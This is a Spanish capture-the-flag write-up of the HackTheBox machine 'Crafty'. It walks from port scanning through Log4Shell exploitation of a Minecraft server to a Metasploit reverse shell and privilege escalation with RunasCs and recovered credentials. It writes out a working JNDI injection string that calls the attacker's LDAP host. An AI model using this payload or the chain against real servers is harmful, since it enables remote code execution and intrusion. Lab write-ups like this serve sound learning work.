HTB - Crafty
https://app.hackthebox.com/machines/Crafty
https://app.hackthebox.com/machines/Crafty
Nombre de la Máquina: Crafty
IP de la Máquina: 10.10.11.249
Sistema Operativo: Windows
Dificultad: Easy
Fecha de Publicación: 10-02-2024
Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R
para incluir la ruta de retorno:
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p-
para escanear todos los puertos, --open
para mostrar solo los puertos abiertos, -sS
para un escaneo de tipo TCP SYN, --min-rate 5000
para establecer la velocidad mínima de paquetes y -vvv
para un nivel de verbosidad alto. Además, utilizamos -n
para desactivar la resolución de DNS, -Pn
para no realizar el escaneo de ping, y -oG allPorts
para guardar la salida en un archivo con formato Greppable:
Escaneo detallado con Nmap
Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV
para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__
(reemplazando __PORTS__
con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted
:
Para añadir la entrada "10.10.11.249 crafty.htb" al archivo /etc/hosts
, puedes usar el siguiente comando en la terminal:
Este comando añade la dirección IP 10.10.11.249
asociada al nombre de host crafty.htb
al archivo /etc/hosts
de tu sistema.
Para obtener más información sobre nuestro objetivo, utilizamos la herramienta WhatWeb. Esta herramienta nos permite identificar tecnologías web utilizadas en el servidor, como el sistema de gestión de contenidos (CMS), el lenguaje de programación, los plugins y otras características. Ejecutamos el siguiente comando:
En la fase de descubrimiento de directorios, se utilizan herramientas como WFuzz y Dirsearch para identificar posibles puntos de entrada o recursos ocultos en el sitio web objetivo.
El comando utilizado fue:
Lamentablemente no pillo nada util, por lo que entro a la pagina web desde Firefox:
Agregamos la ruta play.crafty.htb
pero redirecciona asi que no pillamos nada.
Ya cuando se me agotaban las ideas decidì instalar Minecraft 1.16.5, ya que curiosamente puse en Google, "Minecraft 1.16.5 exploit" y me encontré con algo interesante.
En el README.md de https://github.com/kozmer/log4j-shell-poc, podemos ver que se necesita descargar una version en específico de JAVA para el exploit. Por lo que la descargamos en https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Procedemos a ejecutar el exploit, por cierto modifcamos el poc.py para que sea para windows ("cmd.exe").
Mientras dejamos en escucha nuestro nc al mismo puerto que utilizamos en el exploit. Como dice en el exploit debemos enviar desde el chat de minecraft ${jndi:ldap://10.10.14.17:1389/a}
Como vamos a querer descargar archivos y cosas así no podremos desde esta shell por lo que intentaremos establecer conexión con una shell hecha por metasploit.
Creamos nuestro reverse shell, se llamara expl.exe (por defecto)
Luego desde msfconsole configuramos el metasploit.
El ultimo paso era subir un servidor Python en el mismo directorio donde teniamos nuestro expl.exe generado por mfsvenom. Para luego descargarlo desde nuestro equipo victima.
Ahora si tenemos la capacidad de poder descargar archivos, por lo que descargamos el .jar.
Para abrirlo debemos utilizar jd.gui.
Nos encontramos con unas credenciales:
Seguimos, utilizando RunasCS version 1.5. Para ello lo descargamos de https://github.com/antonioCoco/RunasCs, además tendremos que crear otro expl2.exe con msfvenom:
Luego desde nuestra sesión de meterpreter subimos nuestro archivo expl2.exe y RunasCs.exe a server/logs:
Por ultimo utilizamos nuestro RunasCs.exe para ejecutar el expl2.exe con las credenciales obtenidas.
La verdad fue una maquina fuera de lo común, no encontraba nada en el Enumeration, por lo que Googlee un poco y vi que realmente había que meterse a jugar, y bueno la version del Minecraft tenía este exploit y valía la pena intentarlo y aprenderlo, buena máquina para salir de lo cotidiano, además divertido como tocó hacer la escala de privilegios, soy muy novato con Metasploit por lo que fue un desafio para mi.
Referencias
Por lo que decido instalar la version 1.16.5 en mi maquina kali con TLauncher (hay mejores formas como pyCraft pero ya demasiado tarde lo hice así ). Investigando Log4J (https://github.com/kozmer/log4j-shell-poc)
Aquí tenemos la flag del root